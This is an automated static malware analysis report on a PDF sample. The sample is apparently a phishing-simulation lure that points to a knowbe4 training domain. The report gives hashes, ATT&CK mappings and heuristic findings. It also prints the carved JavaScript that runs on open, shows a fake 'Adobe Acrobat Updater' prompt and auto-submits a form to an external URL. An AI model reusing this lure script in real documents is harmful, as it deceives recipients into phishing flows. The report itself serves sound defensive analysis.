Malicious PDF — malware analysis report

Static analysis result for SHA-256 abc04e0b3d88beb5…

MALICIOUS

PDF

107.4 KB Created: 2018-06-12 09:41:10 -04:00 First seen: 2021-09-18
MD5: 1289aefe678968848d223a085c2c029a SHA-1: 70f060ed714bb850298fc999be592953d9d298e9 SHA-256: abc04e0b3d88beb5888342a699f6540ed0eb8a760dc3c06e6a6ff39dfedefd7a
160 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF contains JavaScript that automatically executes upon opening, displaying a fake 'Adobe Acrobat Updater' prompt to the user. This script then attempts to submit a form to the URL https://dontclickthis.knowbe4.com/XTlZBMFRFZFVTR1p1YTI5elNVdzRaMjAyUlRCV2RtZGlNV1ZaY3psMWVrWjZOV2hzWWs5VlZHdDJkbTF3ZWxSWmFqUnZSVWNyV1hwd2NGaDFla1l2VEcxUlIyOHpXblp5Y1Vsb04wd3JibEUzVGlzd1dtbG5lbm81UnpGU09IUmhUMWR4Y2paaVVFZFRSVVU5TFMxV1JEVTJSSGRXV1RWb1lqVXlNMUpZU21wS2RrTm5QVDA9LS05NjU1YWRkYWUzMzlkZWZhYzNjZGM5MjBmNjRhNzU0Y2M5ODA0MGI2?cid=885720452#FDF. This indicates a social engineering attempt to lure the user into interacting with a malicious link, likely to download further malware or phish for credentials.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9477

Heuristics 8

  • PDF auto-runs JavaScript form submission on open critical PDF_OPENACTION_JS_SUBMITFORM
    PDF uses /OpenAction to run JavaScript that calls submitForm() with an external HTTP(S) URL. Opening the document triggers the outbound submission path without requiring a normal link click.
  • PDF JavaScript shows fake Acrobat updater prompt high PDF_FAKE_ACROBAT_UPDATE_LURE
    PDF JavaScript displays Acrobat/update-themed language such as a document rendering engine update or remote connection to Adobe servers. When paired with JavaScript or external submission, this is a social-engineering lure rather than benign document text.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://dontclickthis.knowbe4.com/XTlZBMFRFZFVTR1p1YTI5elNVdzRaMjAyUlRCV2RtZGlNV1ZaY3psMWVrWjZOV2hzWWs5VlZHdDJkbTF3ZWxSWmFqUnZSVWNyV1hwd2NGaDFla1l2VEcxUlIyOHpXblp5Y1Vsb04wd3JibEUzVGlzd1dtbG5lbm81UnpGU09IUmhUMWR4Y2paaVVFZFRSVVU5TFMxV1JEVTJSSGRXV1RWb1lqVXlNMUpZU21wS2RrTm5QVDA9LS05NjU1YWRkYWUzMzlkZWZhYzNjZGM5MjBmNjRhNzU0Y2M5ODA0MGI2?cid=885720452#FDF Referenced by PDF JavaScript
    • https://dontclickthis.knowbe4.com/XZFZVNVoybDBSVTlPVW1wME9VWXlVRWQzVW1SS09EQkhjMjE0VkcxRk5WcFlTV2RHYkVGNk4yeE5NeTkyYkhVMFNYRTRRMWsxUWt4M1dqZzBPRk5NUjJoa2FqSm1WemcxWjNoTVVITjNVbVY1U2xsUmMwSlRlalZ5VDAxQldXZG1ja3g0ZVhoTVZIRklWbWhUU3k5QlkwWkVNbGxWYjJ3d05XUlNVVXhwZVVsdWJXRndRWEp1YlZSdE5XaHdNbmxVZDNJeGRVRmFXSFEyYVV4Q2NIVXlVRTFHVWtOdGJWQkdkVUZSUFMwdE1tMVVRMFYyTlZGNlNGSTBOa0ZHYUdkd2FFUkxRVDA5LS1hZDQwYzZmNzI0NDExYzdlMzg5NmZjOWI3MDczZTg4NTY1ZWU4YTQ2?cid=885720452Referenced by PDF JavaScript
    • https://dontclickthis.knowbe4.com/XYmtnellWQkxZbTFxVkhWRlVpOW5NME5ZVUZRMlRuWnJhMkYxUkd0MlpYVkxOR2c1V2xWcWRWQmpRazAzTVUxVmVIWkRlVWt3U0c0elMwUTVLMjlNZDNkTE1UaGpieTlqVjFWVGRtRjJSMDU0YlZFd1JXc3pVbWRZT1hZNVJWZE9PRXRLTVZKU1YxUndUR3N2UkV4WlRVeHVhV0pzVVVGMldsbGhWSGRyU0cxMllpOXNUVTVRSzBVM055ODVkVlZsWVVGc00xRldiVTlVT1ZwMWQyTndZV2hTWTJvd2RtVlhiSE5SUFMwdGRVSjFaM0JtUldwa1RqZEhVbkpoU2pBNFJVUlVkejA5LS00MzlmZTAxZWEyMTkzZGFiZjNiNmRjMDIxNzBkNmJkNWY0ZWExMzQ1?cid=885720452Referenced by PDF JavaScript
    • https://dontclickthis.knowbe4.com/XTmtOamQwZFFVVmRtU1hwdGJHZ3ZkMmxTYUZoSVdYWTJkbXhEVlRsVEszTlNTMjVrU2xCWlRXTmxjVWxUT0haNVVHMUNVemhJWWpCcGF6UlVabTB2VUZOS1RHazVRM2xFYTJGRVRHY3pRbTUxZW10Sk1qaENhMnBrVFdzME4wY3pNMWhZWkRaaFNrZFBWRmx5U3pKdlFrOUhTMHhTUkZCM2VIUmljbkkxT0daQ2ExcDRSRzlSV1RZMk4zSjBTSEpsYVdkM1ZEbHJXVVo1U21OelZteDZXRlE1Um1sMk5uVnlRMWhSUFMwdE5scHFaQ3QxTldwbk1YVlZiMkZKUVVoWWFsQXpaejA5LS02ZDkxZDUyYzZmMTU2Y2NjYTgzNDI3YzE5ODBjNzFlOTFlNzI4YTk5?cid=885720452Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by PDF JavaScript
    • http://ns.adobe.com/xap/1.0/Referenced by PDF JavaScript
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/tiff/1.0/Referenced by PDF JavaScript
    • http://ns.adobe.com/exif/1.0/Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x180A 603 bytes
SHA-256: 58b4953512789d86066362dcd1eee8879a232e3fa0ea9dca8dec5527ffaa2542
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://dontclickthis.knowbe4.com/XTlZBMFRFZFVTR1p1YTI5elNVdzRaMjAyUlRCV2RtZGlNV1ZaY3psMWVrWjZOV2hzWWs5VlZHdDJkbTF3ZWxSWmFqUnZSVWNyV1hwd2NGaDFla1l2VEcxUlIyOHpXblp5Y1Vsb04wd3JibEUzVGlzd1dtbG5lbm81UnpGU09IUmhUMWR4Y2paaVVFZFRSVVU5TFMxV1JEVTJSSGRXV1RWb1lqVXlNMUpZU21wS2RrTm5QVDA9LS05NjU1YWRkYWUzMzlkZWZhYzNjZGM5MjBmNjRhNzU0Y2M5ODA0MGI2?cid=885720452#FDF');
}

docOpened();
javascript_obj0012_001.js pdf-javascript-stream PDF /JS object 12 at offset 0x1831 103734 bytes
SHA-256: 4713bd344085a4feacd60f244b6635a18b4f480b9fbe7b545baf118609d680ba
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://dontclickthis.knowbe4.com/XTlZBMFRFZFVTR1p1YTI5elNVdzRaMjAyUlRCV2RtZGlNV1ZaY3psMWVrWjZOV2hzWWs5VlZHdDJkbTF3ZWxSWmFqUnZSVWNyV1hwd2NGaDFla1l2VEcxUlIyOHpXblp5Y1Vsb04wd3JibEUzVGlzd1dtbG5lbm81UnpGU09IUmhUMWR4Y2paaVVFZFRSVVU5TFMxV1JEVTJSSGRXV1RWb1lqVXlNMUpZU21wS2RrTm5QVDA9LS05NjU1YWRkYWUzMzlkZWZhYzNjZGM5MjBmNjRhNzU0Y2M5ODA0MGI2?cid=885720452#FDF');
}

docOpened();
endstream
endobj

%QDF: ignore_newline
13 0 obj
483
endobj

%% Page 1
%% Original object ID: 16 0
14 0 obj
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  /MediaBox [
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  ]
  /Parent 8 0 R
  /Resources <<
    /Font <<
      /C0_0 18 0 R
      /C0_1 19 0 R
      /C0_2 20 0 R
    >>
    /ProcSet [
      /PDF
      /Text
      /ImageC
    ]
    /XObject <<
      /Im0 21 0 R
      /Im1 23 0 R
      /Im2 25 0 R
    >>
  >>
  /Rotate 0
  /Type /Page
>>
endobj

%% Original object ID: 32 0
15 0 obj
[
  27 0 R
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]
endobj

%% Contents for page 1
%% Original object ID: 18 0
16 0 obj
<<
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>>
stream
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404.8937073 0 0 269.9337463 107.3061676 460.5401001 cm
/Im0 Do
Q
BT
/C0_0 12 Tf
1 0 0.2679 1 116.07 441.387 Tm
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/C0_1 12 Tf
<00e4>Tj
/C0_0 12 Tf
<000f0001>Tj
4.179 -15.6 Td
<0024004d004a0044004c000100430046004d005000580001005500500001005400460044005600530046004d005a00010057004a00460058000100440050004f00550046004f00550054000f0001>Tj
ET
/TouchUp_TextEdit MP
BT
0 i 
/C0_2 10 Tf
158.323 52.725 Td
<0031004d00460042005400460001004f005000550046001b000100340050004e00460001005800460043004e0042004a004d00010044004d004a0046004f0055005400010042005300460001004f00500055000100440050004e005100420055004a0043004d004600010058004a005500490001002200450050004300460001>Tj
0 -12 TD
<00340046004400560053004600010024004d00500056004500e4000f0001002a004700010055004900420055000100490042005100510046004f0054000d0001004500500058004f004d005000420045000100550049004600010047004a004d004600010042004f00450001005000510046004f00010050004f0001>Tj
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<002500460054004c005500500051000f>Tj
ET
q
56.1389923 0 0 43.9851837 94.3450775 23.5263672 cm
/Im1 Do
Q
q
157.0927124 0 0 36.2528992 230.401001 342.7270813 cm
/Im2 Do
Q
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17 0 obj
1300
endobj

%% Original object ID: 40 0
18 0 obj
<<
  /BaseFont /KUFUSM+HiraKakuProN-W6
  /DescendantFonts 30 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 31 0 R
  /Type /Font
>>
endobj

%% Original object ID: 42 0
19 0 obj
<<
  /BaseFont /VGWIQQ+HiraKakuProN-W6
  /DescendantFonts 33 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 34 0 R
  /Type /Font
>>
endobj

%% Original object ID: 44 0
20 0 obj
<<
  /BaseFont /JSIEEO+HiraKakuProN-W6
  /DescendantFonts 36 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 37 0 R
  /Type /Font
>>
endobj

%% Original object ID: 25 0
21 0 obj
<<
  /BitsPerComponent 8
  /ColorSpace /DeviceRGB
  /Filter /DCTDecode
  /Height 400
  /Metadata 39 0 R
  /Name /X
  /Subtype /Image
  /Type /XObject
  /Width 600
  /Length 22 0 R
>>
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... (truncated)
font_00_cff_off0001965b.bin pdf-font-stream PDF embedded font (cff) at offset 0x1965B 4575 bytes
SHA-256: 9340d372ad75a105fdb1627a30e96f892e0dc7d9588c0150cf06b4fa72281cc0

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